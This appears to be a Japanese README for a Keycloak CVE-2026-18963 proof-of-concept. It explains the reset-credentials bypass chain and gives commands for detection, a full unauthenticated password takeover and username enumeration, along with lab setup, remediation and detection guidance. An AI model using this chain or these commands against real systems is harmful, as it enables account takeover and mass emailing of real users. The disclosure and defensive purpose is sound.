
Keycloak CVE-2026-18963 のエクスプロイト。reset-credentials バイパスによる未認証アカウント乗っ取りを可能にします。安全な検出、非破壊的な証明、完全な乗っ取り、ユーザー名列挙、および脆弱なバージョンと修正済みバージョンを備えたラボが含まれます。
ユーザー名またはメールアドレスだけを知っていれば、未認証の攻撃者は任意の Keycloak アカウントに 任意のパスワードを設定できます。パスワードリセットメールは実際の被害者に配信されますが、 決して必要とされることはありません。攻撃者はメールボックスを読むことも、リンクをクリックすることもなく、 以前の認証情報やセッションも保持していません。
影響を受けるバージョン: Keycloak 26.0.0 – 26.7.1。26.7.2 で修正済み。
コマンド1つ。有効なユーザー名は不要で、副作用もありません — メールは送信されず、 アカウントへの書き込みも行われず、悪用可能なステップの手前で停止します。```bash git clone https://github.com/Snizi/CVE-2026-18963-Exploit cd CVE-2026-18963-Exploit
python3 cve_2026_18963_poc.py
--base https://sso.example.com --realm YOUR_REALM
--client-id account
--redirect-uri https://sso.example.com/realms/YOUR_REALM/account/
--safe-check
Python 3.9+、標準ライブラリのみ。インストール不要。
| Exit | 判定 | 意味 |
|:---:|---|---|
| `0` | 🔴 **脆弱** | 駐車されたメールゲートが配信された — バグそのもの |
| `2` | 🟢 **修正済み** | フローはログインに分岐し、そのまま留まった(修正 #51844 が存在) |
| `2` | 🟡 **緩和済み** | 資格情報リセットに到達不能 — *パスワードを忘れた場合* はオフ。**パッチではありません。** |
| `3` | ⚪ **判定不能** | 認識できない応答 — **合格と見なさないでください** |
各レルムに対して実行してください — *パスワードを忘れた場合* はレルムごとの設定であり、`master` も対象です。
詳細と、このチェックがユーザーを必要とせず何も変更しない理由は、
[§4a](#4a-safe-detection---safe-check--start-here) にあります。
**すでに影響を受けていることが分かっていますか?** [修復](#8-remediation) と
[検出 / 脅威ハンティング](#9-detection) に進んでください。
### ターゲットなしで試す
このリポジトリには、同一のレルムに対して脆弱な **26.7.1** と修正済みの **26.7.2** を並べて起動するラボが含まれており、さらに、アカウントが乗っ取られている間もリセットメールが届いて未読のままになるのを確認するメールボックスも含まれています:```bash
cd lab && docker compose up -d
python3 ../cve_2026_18963_poc.py --base http://localhost:8080 \
--realm poc --client-id poc-app --safe-check # VULNERABLE
python3 ../cve_2026_18963_poc.py --base http://localhost:8100 \
--realm poc --client-id poc-app --safe-check # PATCHED
⚠️ 認可されたテストのみ
このリポジトリは、防御側の担当者、インシデントレスポンダー、および認可を受けた ペネトレーションテスターのために存在します。所有しているシステム、または書面による テスト許可を得たシステムに対してのみ実行してください。ここにあるすべてのものには、 自己完結型の脆弱性ラボ(
lab/)が同梱されているため、このバグの仕組みを学ぶために 外部のリソースに触れる必要はありません。許可なく第三者のインフラストラクチャに 向けることは、ほとんどの法域で違法であり、このプロジェクトはそれを支援しません。
参照: keycloak#51833 · GHSA-4gv3-mc9p-5wqc · 修正 keycloak#51844
2つの欠陥が連鎖します。どちらか単独では悪用できません。
services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java
processAction() — フォームキー tryAnotherWay を含む任意のPOST:```java
processor.getAuthenticationSession().setAuthNote(
AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);
このメモは、**どの実行セットによって設定されたかの記録を持たない単なるブール値**である。これは、
送信された `authenticationExecution` パラメータを処理する分岐でのみクリアされる。
そのパラメータを省略すると — この PoC が全体を通して行うように — フラグは認証セッションの
存続期間中セットされたままになる。
`processFlow()` — フラグが truthy である間、通常のフロー評価はスキップされる:```java
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
if (lastExecutionId != null) {
AuthenticationExecutionModel executionModel =
realm.getAuthenticationExecutionById(lastExecutionId);
if (executionModel != null)
return createSelectAuthenticatorsScreen(executionModel); // <-- attacker-usable form
}
}
これは、現在待機中の任意の実行を対象とした送信可能なフォームをレンダリングし、 セッションを "メールの待機" に固定するのではなく。
接着剤は processResult() の case FORK: です — Send Reset Email が発火すると、
CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> を記録し、
ブラウザをログインページにフォークします。待機中の実行こそがまさにメールゲートです。
`services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java````java @Override public void action(AuthenticationFlowContext context) { context.getUser().setEmailVerified(true); context.success(); }
無条件。フローが有効なアクショントークンによって再開されたことを検証するものは何もないため、
`action()` に *到達すること* が、メールボックス制御を証明することと同等と見なされます。
### チェーン```
tryAnotherWay POST → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier → mail sent to victim, e-mail execution parked (FORK)
re-enter reset-credentials → sticky flag serves a form targeting the parked e-mail execution
POST that form → ResetCredentialEmail.action() → success() → gate bypassed
→ flow advances to UPDATE_PASSWORD → attacker sets the password
6つのHTTPリクエスト、認証なし、どの時点でもauthenticationExecutionパラメータ
はありません。
model.getId() を保存し、processFlow() はそれが
CURRENT_AUTHENTICATION_EXECUTION と等しい場合のみ尊重し、それ以外の場合は削除します。攻撃では、これら2つは異なります(choose-user IDとe-mail-gate ID)—
これはまさにパッチが検出するものであり、まさに
--safe-check が頼りにするシグナルです。ResetCredentialEmail.action() は現在
context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID))
を必須とし、それ以外の場合は INVALID_USER で失敗します。6a9e60bb によって導入され、そのコミットは "Try another way" のauthenticator-selector画面を
リセットフローに追加しました。これより古いバージョンには単にそのコードパスがありません。これには、古い
WildFlyベースのディストリビューションとRH-SSO 7.xが含まれます。これらは この バグの影響を受けませんが、
サポート終了(EOL)のままであり、他の多くの脆弱性に対しては脆弱です。レガシービルドに留まることは
是正策ではありません。26.7.2 はコミュニティトレインで公開された唯一の修正
リリースです。デプロイメントが26.0 – 26.6にある場合、その系列には
パッチリリースはありません — 修正にはポイントリリースではなく、マイナーバージョンの
アップグレードが必要です。26.4.15 / 26.6.6 タグはベンダーバックポートであり、コミュニティイメージと
交換可能ではありません。前提条件: レルムでForgot passwordが有効になっておりかつ、バインドされているreset-credentialsフローが組み込みのreset-credential-email認証器を使用していること。
このリポジトリには、脆弱なKeycloakとパッチ適用済みのKeycloakの両方が同梱されており、同一のレルムをインポートします。さらに、リセットメールを取得するMailpitも含まれています — これにより、アカウントが乗っ取られる間、メールが届いて未読のままになるのを確認できます。```bash cd lab docker compose up -d
| サービス | URL | バージョン |
|---|---|---|
| `kc-vuln` | http://localhost:8080 | 26.7.1 — **脆弱性あり** |
| `kc-patched` | http://localhost:8100 | 26.7.2 — **パッチ適用済みコントロール** |
| `kc-mailpit` | http://localhost:8025 | 被害者のメールボックス |
レルム `poc`、パブリッククライアント `poc-app`、ユーザー `victim` / `OriginalPassw0rd!`、Keycloak
管理者 `admin` / `admin`。
`KC_VULN_VERSION` / `KC_PATCHED_VERSION` で異なるビルドを固定する:```bash
KC_VULN_VERSION=26.5.7 docker compose up -d keycloak-vuln
実行の合間に、lab/reset-victim.sh が被害者のパスワードを復元します(KC=http://localhost:8100 lab/reset-victim.sh はパッチ適用済みインスタンスを対象とします)。
lab/legit_reset.py は、Mailpit からアクショントークンのリンクを取得してクリックすることで、本物のリセットを実行します。これは §9 の検知作業における対照サンプルです。同じレルムに対して、それとエクスプロイトを実行し、トレースを diff で比較してください。
後片付け: docker compose down -v。
Python 3.9+、標準ライブラリのみ — 依存関係なし。どんなジャンプボックスにもそのまま配置できます。``` --base Keycloak base URL (e.g. https://sso.example.com) --realm realm name --client-id any enabled public client with the standard flow --redirect-uri a URI permitted by that client (default http://localhost:9999/callback) --insecure skip TLS verification --verbose log every HTTP request --dump FILE write the response body of a failing step to FILE
`--client-id` には、標準フローに対応した有効なパブリッククライアントを指定できます。組み込みの
`account` クライアントはすべてのレルムに存在し、信頼できる選択肢ですが、リダイレクト URI を制限しているため、
`--redirect-uri` はその場合 **必ず**
`<base>/realms/<realm>/account/` と指定しなければなりません — デフォルトは拒否され、ステップ 1 が失敗します。
### 4a. 安全な検出 (`--safe-check`) — ここから開始
**有効なユーザー名は不要**で、**副作用もありません**。これは、ターゲットに影響を与えてはならない場合に
使用するプローブです。```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--safe-check
なぜユーザーを必要とせず、メールも送信しないのか。 ResetCredentialEmail.authenticate() は未知のユーザーに対しても分岐します:```java
if (user == null) { context.forkWithSuccessMessage(EMAIL_SENT); return; }
`processResult()` の `case FORK:` は、**誰も見つからなかったとしても**、`CURRENT_AUTHENTICATION_EXECUTION`
をメール実行に保留します。送信先がいないため、メールは送信されません。
プローブは判別子で停止し、ゲートに POST することは決してありません。したがって
`action()` は決して実行されません。ターゲット上で NPE は発生せず、`emailVerified`
の書き込みもなく、メールも送信されず、アカウントには一切触れません。
**これはポジティブシグナルに対してのみアサートします。** VULNERABLE ⟺ ステップ5が、
`login-actions/reset-credentials` 内にまだあるフォームを返し、その `execution` が
ユーザー選択実行のものと異なる場合です。それが *まさに* バグです。古い
`AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED` ノートが、保留されたメールゲートを提供していること。
両方の要素が重要です。パスはリセットフローの中にまだいることを証明し、異なる
execution ID は再レンダリングではなくメールゲートであることを証明します。
それ以外のものは、**暗黙に**パッチ適用済みとは見なされません。PATCHED には独自の証拠が必要です
(`login-actions/authenticate` へのフォーク *および* パスワード入力の存在)。残りの
すべては INCONCLUSIVE であり、人間の判断が必要です。以前の設計では「ゲートフォームではない」ことを
パッチ適用済みとして扱っていましたが、それはすべてのカスタムテーマ、エラーページ、WAF
ブロック、中間ページを誤った健全性の証明書に静かに変えてしまいます。
### 4b. 非破壊的証明 (`--check`)
完全なチェーンを駆動しますが、Update Password フォームで停止します。アクショントークンなしで
そのフォームに到達することは決定的です。```bash
python3 cve_2026_18963_poc.py \
--base https://sso.example.com --realm corp \
--client-id account \
--redirect-uri https://sso.example.com/realms/corp/account/ \
--victim [email protected] --check
2つの副作用は避けられません。なぜならそれらはパスワードフォームの 上流 で発生するためです。エンゲージメントの範囲に明記してください:
action() がアカウントに emailVerified = true を設定します。認証情報は変更されません。専用のテストアカウントを使用することをお勧めします。
ラボまたは明示的に許可されたデモのみ。```bash
python3 cve_2026_18963_poc.py
--base http://localhost:8080 --realm poc --client-id poc-app
--victim victim --new-password 'PoCPassw0rd!1'
Exit `0` は脆弱性あり · `2` は悪用不可 · `1` はパスワードが変更されたが、確認用
grant が失敗した(Direct Access Grants を持つクライアントを指すように `--verify-client-id` を設定してください)。
フローを完了すると、**被害者向けのOIDC認可コード**も返されるため、
乗っ取りは即座に完了します — 新しいパスワードでの再ログインは不要です。
### 4d. ユーザー名列挙(`--enum`)
この同じ欠陥はユーザー名オラクルとなり、Keycloakが通常許可するよりも強力なものになります。`ResetCredentialEmail.authenticate()` は、実在ユーザーと存在しないユーザーの両方に対して、意図的に同一の *"まもなくメールが届きます"* を返すため、リセットフォーム自体は列挙に使用できません — この防御はステップ4でも依然として有効です。それは**ステップ6**で破綻します。`action()` がユーザーを無条件に参照するためです(`context.getUser().setEmailVerified(true)`)。
| 識別子 | ステップ6 | 判定 |
|---|---|---|
| 実在ユーザー | `200`、パスワード更新フォームに到達 | 有効 |
| 存在しないユーザー | `400`(NPEエラーページ) | 無効 |```bash
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc --client-id poc-app \
--enum candidates.example.txt
パスワードを変更することは決してありません。いずれかの識別子が解決された場合は終了コード 0、それ以外の場合は 2 です。
プローブあたりのコスト — 実行前にお読みください。 オラクルに到達するにはステップ 4 を完了する必要があるため、実際のアカウントに対する各プローブは、その相手に本物のパスワードリセットメールを送信し、そのレコードに emailVerified = true を設定します。 これは静かなチェックではありません。アカウント所有者から見え、データを変更します。5,000 件の名前のワードリストは、実在の人物への 5,000 通のメールと、5,000 件の変更されたアカウントを意味します。
レポート用の少数の識別子に対してオラクルが存在することを実証するために使用してください — ディレクトリを収集するためではありません。ガードは意図的に控えめに設定されています:
--enum-max N は N より長いリストを拒否します(デフォルト 25)--enum-delay SEC はプローブ間に待機を入れます(デフォルト 2.0)どちらの値を引き上げる場合も、エンゲージメントノートに記録する意図的な判断とすべきです。
レポートの観点: これは Keycloak が意図的に実装した列挙防止コントロールを無効化します。乗っ取りと並ぶ独立した所見として報告する価値があり、「ユーザー名は推測できない」 という緩和要素を打ち消します。
本格的なデプロイメントには必ずカスタムログインテーマが同梱されており、カスタムテーマは標準の要素 ID(kc-form-login、kc-reset-password-form、kc-select-credential-form、kc-passwd-update-form)をリネームまたは削除します。これらの ID に依存するツールは、最も重要なデプロイメントに対して偽陰性を報告します — このツールも、書き直される前はそうでした。実際に見られたテーマは id="login-form" のような ID を使用し、空の href を持つ*「パスワードを忘れた」*アンカーを同梱しています。
したがって、この PoC はテーマが制御するものには一切依存しません:
action= — login-actions/reset-credentials、login-actions/authenticate、login-actions/required-action — と、その中の execution クエリパラメータから行われます。これらのパスはテーマではなく、Keycloak 自身の LoginActionsService によって生成されます。grep してください: そこには kc-* ID が一つもありません。/realms/<realm>/login-actions/reset-credentials?client_id=…&tab_id=… を構築し、ログインページが公開しているフォームから取得した tab_id を使って直接プローブします。ターゲットがそれでも INCONCLUSIVE を返す場合は、--verbose --dump out.html を実行してレスポンスを読んでください — このツールは意図的に推測を拒否します。
PKCE を強制するクライアントは、Missing parameter: code_challenge_method でステップ 1 を拒否します。これはINCONCLUSIVE(終了コード 3)として報告され、合格(pass)として報告されることはありません。PKCE サポートが実装されるまで、利用可能な唯一のパブリッククライアントが PKCE を必須としているレルムは、このツールではチェックできません — 通常は PKCE を強制しない組み込みの account クライアントを試してください。
以下のすべての実行は、このリポジトリのラボ環境に対して、公開されているコードを使用して行われました。
アドバイザリテキスト以外に特筆すべき 2 つの発見:
user.getEmail() が null の場合、ResetCredentialEmail.authenticate() は
forkWithSuccessMessage パスを取り、それでも case FORK: を介して実行を待機させます。
これは SMTP 送信失敗でも同様です — メールサーバーが壊れている、または存在しないことは緩和策にはなりません。
これは、AD/LDAP 連携レルムに直接関係します。そこではアカウントがメール属性を持たないことがよくあります。MFA は緩和策ではありません。 デフォルトの reset-credentials フローには OTP ステップが含まれておらず、一度通過すると、攻撃者は被害者が登録した要素を削除できます。
修正: アップグレード。 コミュニティビルドには 26.7.2、またはサブスクリプションに一致するベンダーのバックポートタグを使用してください。以下はすべて暫定対策です。
暫定緩和策(有効なものから順に):
master を含むすべてのレルムを確認してください。バインドされたリセットフローが完全にカスタムであり、reset-credential-email を決して呼び出さないレルムは、この経路では悪用できません。
Keycloak は「action token skipped」イベントを発行しないため、検出はヒューリスティックです。エクスプロイトと並行して lab/legit_reset.py を実行し、両方のトレースを生成して比較してください。
GET /login-actions/action-token?...(被害者がメールをクリックする)が表示されます。バイパスにはそのような GET がありません。代わりに、tryAnotherWay を含むボディを伴う login-actions/reset-credentials への POST が表示され、続いて同じパスへの空ボディの 2 回目の POST、その後にパスワードフォームが表示されます。リセットフロー内での tryAnotherWay POST は、通常の使用では標準 UI が生成するものではありません。SEND_RESET_PASSWORD の直後に UPDATE_PASSWORD が同じ code_id を共有し、数秒以内 — ラボでは 1 秒未満。メールを開いたままのユーザーも素早く操作できるため、プロキシログと突き合わせて確認してください。emailVerified が true に切り替わったアカウントで、対応する VERIFY_EMAIL イベントがないものは、有用な補足指標です。また、攻撃者が残さずにはいられない痕跡でもあります。イベントログまたは保持期間がオフだった場合、イベントがないことは何も証明しません。デプロイメントが影響を受けていないと結論付ける前に、保持期間を確認してください。
Snizi — github.com/Snizi — [email protected]
MIT License の下でリリースされています。Issue と PR を歓迎します — 特に PKCE サポートと、実世界のテーマのさらなる癖について。
| 系列 | 影響を受けるバージョン | コミュニティ修正 |
|---|
| レガシー(WildFlyベースのKeycloak、≤ 17) | 影響なし | — |
| Quarkus 17 – 25.x | 影響なし | — |
| 26.0 | 26.0.0 – 26.0.17 | なし |
| 26.1 | 26.1.0 – 26.1.5 | なし |
| 26.2 | 26.2.0 – 26.2.16 | なし |
| 26.3 | 26.3.0 – 26.3.5 | なし |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15(ベンダーバックポートタグ) |
| 26.5 | 26.5.0 – 26.5.7 | なし |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6(ベンダーバックポートタグ) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 |
| 終了コード | 判定 | 意味 |
|---|
0 | 脆弱 | 停止状態のメールゲートが応答した — これがバグそのものです |
2 | パッチ済み | フローがログインに分岐し、そのまま留まった (修正 #51844 が存在) |
2 | 緩和済み | reset-credentials に到達不能 — パスワードを忘れた場合 はオフ。パッチではない。 |
3 | 判定不能 | 認識できない応答 — 合格と見なしてはならない |
| Test | Target | Result |
|---|
--safe-check | 26.7.1 | VULNERABLE、終了コード 0 — メールゲートが提供された(execution ≠ choose-user) |
--safe-check | 26.7.2 | PATCHED、終了コード 2 — ログインにフォークして、そのまま留まった |
--safe-check、*「パスワードを忘れた」*オフ | 26.7.2 | MITIGATED、終了コード 2 — HTTP 400、フローに到達不能 |
| 完全乗っ取り | 26.7.1 | 終了コード 0 — パスワード設定、OIDC コード発行、パスワードグラントで確認 |
| 完全乗っ取り | 26.7.2 | 終了コード 2 — ステップ 5 でブロック、アカウントは変更なし |
--check | 26.7.1 | UPDATE_PASSWORD に到達; その後パスワードが変更されていないことを確認 |
--enum | 26.7.1 | victim と [email protected] は VALID、does-not-exist は INVALID |
| 乗っ取り後の認証情報状態 | 26.7.1 | 新しいパスワード → 200、古いパスワード → 400 |
| ブロックされた実行後の認証情報状態 | 26.7.2 | 古いパスワード → 200、攻撃者のパスワード → 400 |
| 被害者のメールボックス | Mailpit | リセットメールが配信され、未読; アクショントークンリンクは取得されない |